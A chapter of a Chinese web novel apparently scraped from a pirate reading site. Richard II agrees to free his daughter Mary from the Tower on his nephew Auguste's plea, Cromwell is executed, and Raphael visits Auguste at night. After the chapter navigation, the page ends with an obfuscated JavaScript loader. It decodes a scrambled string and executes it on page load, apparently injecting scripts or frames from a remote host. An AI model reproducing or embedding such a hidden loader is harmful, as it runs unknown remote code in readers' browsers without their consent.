返回

阁下

首页
关灯
护眼
字体:
46.Message 046:
(手机请访问 m.duxs8.com); “停!”理查二世抬手,在奥古斯特不加掩饰的表情前打了个响指,他不得不打断奥古斯特的脑补了,侄子什么都好,就是太爱狗血剧情,“我知道怎么样才算是爱一个人的感觉,别忘了还有你父亲和你。好吧,你算半个,抱歉,现在才和你说,但我真的不算特别喜欢你的母亲琼安,她是个好人,也是个美人,还是我和你父亲的亲戚,但是,她的缺点是明知道配不上你父亲还嫁给了他。”

“……”奥古斯特很想反驳理查二世,但是他没办法,因为不止理查二世如此想,全英格兰都这么想。

不是谁都有他父亲那个勇气,娶了三嫁的姑母的。咳。欧洲王室就是这么混乱,奥古斯特已经彻底放弃去深究了。

理查二世:“我自认为对你父亲还算不错。”

奥古斯特:何止是不错,要不是知道你是个种马,我爹对我妈情根深种,我都要怀疑你们是不是在玩什么奇怪的德国骨科py了好吗?

“see,我也能做对一个人好,”理查二世积极自证,“但问题是,我为什么要爱我的孩子。”

“哈?”奥古斯特一愣。

“你很幸运,当了威廉的孩子;玛丽很不幸,当了我的孩子。仅此而已。”玛丽等人的意义,在理查二世看来是和拉斐尔差不多的——他不得不接受他们的存在,但那并不代表着他要喜欢他们,“我给了他们生命,供他们吃喝长大,我觉得我尽到了父亲的义务。”

“那你为什么那么在意玛丽恨不恨你?!”奥古斯特不信。

“有个你觉得关系还行的同居室友,有天突然说她恨你,你会不在意吗?”理查二世理所当然的反问,“我是没指望过玛丽喜欢我,就像她也别指望我喜欢她一样。但,至少不应该恨吧?我就不恨她啊。”

“……那你想要什么?”

“和平共处?”理查二世皱眉,苦思冥想的给出了一个答案,“最熟悉的陌生人。”

将自己的血脉传递下去,这是写在男性骨子里的东西;无怨无悔养孩子长大,则是写在女性骨子里的东西。至少理查二世是这么觉得的。他赞同虎毒不食子,但也不觉得为了孩子值得牺牲一切。

“在你把玛丽关进伦敦塔,和自己的祖父作伴后,你觉得你还能与她和平共处?”这回连奥古斯特都想笑理查二世的天真了。

“大概不能。”所以理查二世才会如此颓唐,他就是个这么自私的人,他无法付出父亲,却并不希望他的子女因此而怨恨他。至于他哪里来的这种自信,大概来源于他是国王吧。他整天面对的都是一群不得不讨好他的女人和大臣。

奥古斯特彻底放弃了去按照自己的脑回路理解他精奇的叔父,他只能说:“看来你也不打算让玛丽原谅你。”

理查二世没急着回答,只是反问:“那你说她会原谅我吗?”

“不会!”奥古斯特很肯定。

“我也这么觉得。”理查二世点点头,“那我还努力干什么?”

“呃,不至于让她真的想干掉你?”虽然理查二世肯定不觉得玛丽有那个能力,但被自己的子女怨恨到恨不能弄死他,这本身就已经很可悲了。

“你说的有几分道理,那你觉得我该怎么做?”理查二世仰头看着奥古斯特一头耀眼的金发,就像是看到了小时候的哥哥,他也爱从这个角度俯视着看他,一边无奈的说“我该你拿你怎么办呢,理查”,一边帮理查解决他生命里出现的各种问题。

“我建议,不,我求您,放了玛丽吧。你不准备和她缓和关系,至少不要变得更糟。”要不然玛丽小姐大概真的早晚有天会想一刀捅肾的。

“那我的体面怎么办?”理查二世一旦走出那个悲春感秋的领域,他就还是那个恨的所有人牙痒痒的暴君。

“你宁可要体面,也不要女儿?”奥古斯特不可置信。

“对啊。”理查二世一脸费解,“这有多难懂?”

“……”你整个人都超难懂!

“你确实如威廉所说的,很好逗。”理查二世笑了,一个翻身……没起来,还是在奥古斯特的搀扶下,才坐到了一边柔软的打床上,他匀了匀气,这才继续道,“这样吧,你给我一个能够说服我的处理玛丽的主意,我觉得好就按照你说的来,我的觉得不好,就按照我的方式来。你只有一次机会,go。”

“那我能……”

“不能请外援。”理查二世愿意给奥古斯特面子,却不代表他会愿意让全世界都对他指手画脚。而且,奥古斯特能找谁呢?无外乎拉斐尔那个私生子而已。

奥古斯特傻眼:“我能想想吗?”

“当然,请随意,不要客气。”理查二世摇了摇床头的铃铛。

侍从官在第一时间敲响了国王的房门:“有什么能帮助到您的,陛下?”

“给奥尔来杯凉果汁,给我来瓶希腊甜酒。再拿点点心。”国王已经做好了要和奥古斯特长期抗战的准备。

奥古斯特却很快想到了,他小心翼翼的问继续坐在床上演绎孤独的叔父:“你听说过明升暗降吗?”

“我当然知道。”理查二世不喜欢管理朝政,但并不代表着他什么都不懂,他反而很好奇奥古斯特是怎么知道这些的,他这个傻侄子总是能带给他惊喜。

“那咱们不妨明降暗升。”

“恩?”

“就是,呃,”奥古斯特吞咽了一下口水,他其实超级没有自信,也不知道自己这么做到底是对玛丽好还是坏,他只能凭本能,想着先把玛丽从伦敦塔里救出来,“把玛丽放逐到其他郡,短时间内不要再见面。等事情过去了再说。”

“放逐到哪里?牛津?”

“对啊。”奥古斯特点点头,“明降暗升嘛,亨利是个不错的人,玛丽嫁给他一定会很幸福的。”

“那我能得到什么好处?”理查二世和奥古斯特也算是说开了,不再找冠冕堂皇的理由来掩饰自己。他在心里想着,这样才对嘛,每次在奥古斯特面前演绎慈祥的叔父他其实已经很累了,他并不觉得那样的虚假能带给奥古斯特什么正面积极的情感。要不是黑太子一遍遍写信来叮嘱,他才懒得假装。如今这样多好啊,他轻松,想比奥古斯特也轻松。

奥古斯特被噎的一口气差点没捯饬上来,最后才勉强开口:“好处就是至少在未来,你的女儿不会连你的葬礼都拒绝参加!”

这种事情玛丽还真有可能干得出来,毕竟理查二世阻止了玛丽参加她母亲的葬礼。

“我可以留一条遗言,如果她不出席我的葬礼,她就一分钱都别想得到。”理查二世一脸认真的思考,然后,一脸认真的回答,“看,问题解决了。”

“……”奥古斯特有点明白为什么玛丽小姐总是那么暴躁了,面对这样一个爹,谁能不暴躁?“你可以逼迫她出席你的葬礼,却不能逼迫她心甘情愿的为你伤心。全葬礼上的人只有我父亲会为你伤心,你不觉得很可怕吗?至少我和我父亲会觉得很可怕。”

以奥古斯特那个唠叨爹铁血真汉子的性格,他肯定不会流泪,哪怕心里在哭也不会,他在奥古斯特母亲的葬礼上都是如此。这也是威廉二世的锅,他让他的儿子变得始终不肯有一丁点示弱于人前。

“那你会我流泪吗?”理查二世托着下巴,饶有兴趣的看着奥古斯特道。

奥古斯特一愣,想了想:“大概,会吧?”毕竟,理查二世对他真的已经是比所有人都要好了,而且他的性格也容易胡思乱想开脑洞,眼泪根本止不住。

“ok,交易成立。”理查二世的态度还是那么随意,他给了奥古斯特一个信物,“只要你保证不让我再见到玛丽,你就可以拿着它去伦敦塔把玛丽接出来了。剩下的事情我会找适合的人去处理。”玛丽应该很快就能如愿嫁去牛津了。

“真的吗?!”奥古斯特没想到会有这样的峰回路转!

“当然是真的。”理查二世有种种不好,但有一点还算不错,他说到做到,“不过,你确定亨利还会娶玛丽吗?在玛丽明面上彻底得罪我的现在。”

“我不知道,但我觉得至少应该为此努力一下,给亨利一个机会。”

“我很期待。”理查二世看起来对此并不抱太大期望,他对爱情总是充满了悲观色彩,“然后,我们来算一下你擅闯我寝宫的事情吧?你不会以为可以这么轻松的结束吧?”

“抱歉。”奥古斯特低下头,他确实做好了准备,无论他此行成功与否,国王的威严都是不容挑衅的。

“唔,我该惩罚你点什么好呢……”理查二世的眼睛转来转去,仿佛他确实是在告诉的思考。

等待的时间越长,奥古斯特就越是忐忑不安。

理查二世在因为奥古斯特而调动了足够的好心情后才道:“罚你闭门思过好了。”

然后,是漫长的等待。

当奥古斯特确定理查二世不会再说其他的时候,他才不可思议道:“就这样?”

理查二世点点头:“就这样。我听说这叫禁足,在孩子犯错之后的惩罚手段。我大概这辈子都没机会把它用在我子女的身上了。幸好有你。记得,没有任何娱乐。“

“没问题!”

“我说娱乐包括看骑士训练,听唱诗班唱歌,以及不许见耶尔。”

“no——!”

“yes!”

“你怎么能阻止我去见我想见的人?”

“因为我是国王啊。”

“……”

奥古斯特就是在那一天才意识到的,当国王真的好好啊。以及再多的骑士训练,再好的唱诗班,都不如一个拉斐尔重要。

但最后奥古斯特还是接受了惩罚,因为很明显这才是理查二世的隐形条件。

奥古斯特在拿到信物的第一时间,就迫不及待的驾车去了伦敦塔。

伦敦塔就在泰晤士河边上,是一座军事要塞,承担着不同的职责。好比国王的宫殿,骑士军队的武器库,以及政治犯的监狱。

这里说的政治犯,不是随随便便什么人都能被关进这里的。

至少在理查二世和黑太子当政的这两朝间,伦敦塔里就只有一个犯人——前前任国王威廉二世。如今多了国王的女儿玛丽小姐。

足可见伦敦塔在监狱中的逼格之高。

不过再厉害,如今也就是一座城堡外表下的鉴于。

渡鸦飞过窗户很小的白塔,带着一种奥古斯特对“哥特”一词最原始的印象,阴森可怕。他最近一直在学语言,“哥特”在最开始出现时的意思其实是“野蛮”,远没有后世理解里的那种感觉。

在前前国王好不容易有了一个新室友不到几个小时之后,她又再一次失去了她,他甚至都没来得及从玛丽口中问出外面到底发生了什么。

奥古斯特担心极了,却不能进去,只能在塔外面等待玛丽小姐被带出来。

玛丽穿着她被关进去之前的那件夏裙,低调却又不失奢华,首饰上的珠宝依旧璀璨,除了头发有点乱了以外,整体看上去还算不错,没有遭太大的罪。

很显然的,在玛丽小姐还没有彻底失势前,没有人敢太过的折磨她,那么想也没这么快的速度。

奥古斯特更关心的是:“他没为难你吧?”

别人不敢和玛丽小姐对着干,伦敦塔里关着的人可就未必了。奥古斯特从未真正见过自己的同性恋祖父,只从王太后口中听说过,那是一个该下地狱的变态。

玛丽小姐精神抖骚,挺胸昂头,始终骄傲,她对奥古斯特说:“你该担心的是他。”

然后,他们就一起离开了。

奥古斯特看向戒备森严的塔楼,他总感觉从某个狭小又逼仄的窗户口,看到了一闪而过的祖父,已经被折磨的不成人形,却又不得不苟延残喘的活着。

玛丽小姐强硬的扭过了奥古斯特的脸,询问着在她蹲监狱的这短短几个小时里,到底发生了什么。

最终,他们一起到达了目的地——汉普顿宫,奥古斯特准备履行对国王的承诺,不再让他们父女想见。

奥古斯特本来还小心翼翼的解释着什么,生怕这个结果会让玛丽崩溃。

但玛丽却大力拥抱了奥古斯特,埋胸式的那种紧紧的拥抱,让奥古斯特还有点小尴尬:“哦,我的布丁,谢谢你,谢谢你,终于让我摆脱了那个魔鬼!”

“呃,不客气?”奥古斯特试着回答了一句。

玛丽小姐一下子就笑开了,亲昵的蹭了蹭奥古斯特的鼻子:“能帮我给亨利送封信吗?”

“事实上,不能。我被禁足了。不过我想我的骑士长会很乐意效劳。”

“谢谢。”

接下来的很短的日子里,奥古斯特真的被迫远离了一切娱乐,国王甚至派了个一看就很刻薄的人来监督奥古斯特。事实上,哪怕国王不派人,奥古斯特的日子也不算好过,因为玛丽小姐从住到这里开始,就在强迫奥古斯特养成更好的作息、饮食习惯,她比奥古斯特所有的老师都可怕,奥古斯特还不得不听她的。

天知道伊丽莎白和王储这么多年是怎么在玛丽的手下活下来的。她实在是太严肃了,总让奥古斯特想到他曾经中学的教导主任。

奥古斯特唯一一次**的机会,就是去参加国王的婚礼。

是的,国王的婚礼最终竟然照常举行了,震惊了所有来参加婚礼的贵族。不过,很快他们就意识到,国王虽然还是结婚了,但娶的并不是人尽皆知的凯瑟琳.霍华德,而是此前不显山不露水的凯瑟琳.帕尔。这位很有钱的寡妇在和国王认识了仅仅不到三天的情况下,就闪婚成为了新王后。

理查二世再一次厚着脸皮让年轻的侍从官背了锅,说从一开始王后就是帕尔,只是因为名字一样,又一次被印错了。

侍从官:……下辈子再也不要做这个工作了。

新王后看上去确实是个很不错的人,她特意私下里找了奥古斯特,关心了一下玛丽在汉普顿宫的生活。

“请让她放心,我会尽快说服陛下,让她重新回到怀特霍尔宫的。”

凯瑟琳王后一直谨记她成为王后前和玛丽小姐的交情,事实上,她愿意答应玛丽嫁给国王,有很大一部分原因就是希望能通过自己来改善玛丽的生活。

“也不用太着急。”就奥古斯特目前看到的,玛丽小姐还蛮喜欢现在的生活的,不知道的肯定会以为她之前的御前失仪,就是为了得到眼前的生活。她再不用被父亲气的肝脏疼,又与亨利过的蜜里调油,这是她在母亲去世后过的最自由的一段日子了。

“麻烦您照顾她了,我还整理一些玛丽小姐有可能需要的东西,能请您转交一下吗?”

“当然。”奥古斯特点点头,“顺便一说,请不要对我这么客气,我们已经算是一家人了。”

“我的荣幸。”凯瑟琳王后笑了笑,但很显然并不打算真的这么照做。

这次的婚礼,玛丽小姐当然是不可能出席的。她的男伴亨利也没有。亨利满打满算就和牛津的教授请了不过五天的假期,为了参加国王的婚礼,但最后他却放弃了,因为他觉得在这个时刻没有人会比玛丽更需要他的陪伴。

这个书呆子可以说是让理查二世叹为观止,他没想到亨利对玛丽竟然是真爱。说实话,玛丽小姐可不算太漂亮,至少比伊丽莎白差多了,而且脾气还不好。

在婚礼之后的没多久,理查二世就下旨允许了玛丽小姐和牛津伯爵的婚姻。但他们需要保证无召不得回伦敦半步。

玛丽小姐快要感动死了,她觉得她父亲终于做了一件让他们彼此都开心的事情。

连伊丽莎白小姐都无不羡慕的说:“我什么时候能长大呢?”她也想和奥古斯特住在汉普顿宫,不用每天去面对脑回路奇葩无比的国王。

克伦威尔最终还是被处斩了,就在国王结婚的隔天,一点都不讲究。

拉斐尔亲自坐镇监督,面无表情,看着克伦威尔一步步走上行刑台,下面都是对他充满愤怒的群众,他的眼中也充满了愤怒,对国王,对英格兰,对这个世界。他在最后一刻,指着拉斐尔的鼻子哈哈大笑,不是真的高兴,只是一种面对死亡的恐惧,有些人面对恐惧就是会不自觉的开始笑,他说:“今天的我,就是明日的你!”

那一声就像是一个诅咒,语音落下,同时带走了克伦威尔的性命。

这个曾经比沃尔西大主教还要地位高的男人,彻底的成为了历史,并在死的那一刻也成功做到了令人印象深刻。

拉斐尔对此却连眼睛都没眨一下,弱者的叫嚣,他一向是懒得去搭理的。

当天晚上,拉斐尔出现在了奥古斯特床头。

把奥古斯特吓了个一跳,但紧接着就是惊喜,他迫不及待的扑进了拉斐尔的怀里,抱着他:“我很想你。”

“我也是。”拉斐尔揉了揉奥古斯特的头。

“这些天我想了很多。”奥古斯特被关在汉普顿宫,不想学习的时候就只剩下了发呆胡思乱想,这里已经枯燥无聊到让朱莉和乔神父不得不同时抛弃了它,这两个派对动物如今也不知道去哪里参加狂欢了。

“好比?”

“你介意我改装一下你的房子吗?”

“我不介意。”拉斐尔笑了,“不过,我们马上就要搬到更大的房子里了,你的设想需要放大一点,需要我提前送来图纸吗?”

“好的!”

“其实住在汉普顿宫也……”

“天哪,你的手为什么这么冷?!”奥古斯特在挨到拉斐尔的手时才意识到拉斐尔的手到底能有多冷,在已经快要进入夏季的此时此刻,这明显不太正常。

“你以为你是怎么进来的?”拉斐尔的话总是准备的滴水不漏。

“呃,管家悄悄把你放进来的?”

“我从阳台爬上来的,我的朱丽叶。”

“!!!”你疯了吗?奥古斯特虽然没这么说,但他蓝色的眼睛里写的清清楚楚。

拉斐尔继续搂着奥古斯特,好像要把镶嵌进自己的怀里,他说:“我本来只是想在汉普顿宫外面看看就离开的,但当马车停在那里的那一刻,我突然无比的想你。想见到你,so……”

拉斐尔难得冲动了一次,就像是他这个年纪所应该有的真正样子。

“我不是朱丽叶。”奥古斯特不得不很扫兴的表示。

“那,罗密欧?”拉斐尔其实没有准确的听过罗密欧与朱丽叶的故事到底讲了什么,只是听奥古斯特之前在短信里嘲讽过——你以为你在演罗密欧与朱丽叶吗?

“不!”奥古斯特也不喜欢罗密欧。

“那你想要什么?”

“我想和你住在一起。”无所谓房子大小,无所谓有没有骑士和唱诗班,他只想和拉斐尔在一起!

“这个愿望让你拥有了霍格沃茨的有求必应屋。”拉斐尔再一次让了一个点。

“我什么时候才能用全部?”奥古斯特的野心很大的。

“等你长大吧。”拉斐尔给了奥古斯特额头一个轻柔的吻。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();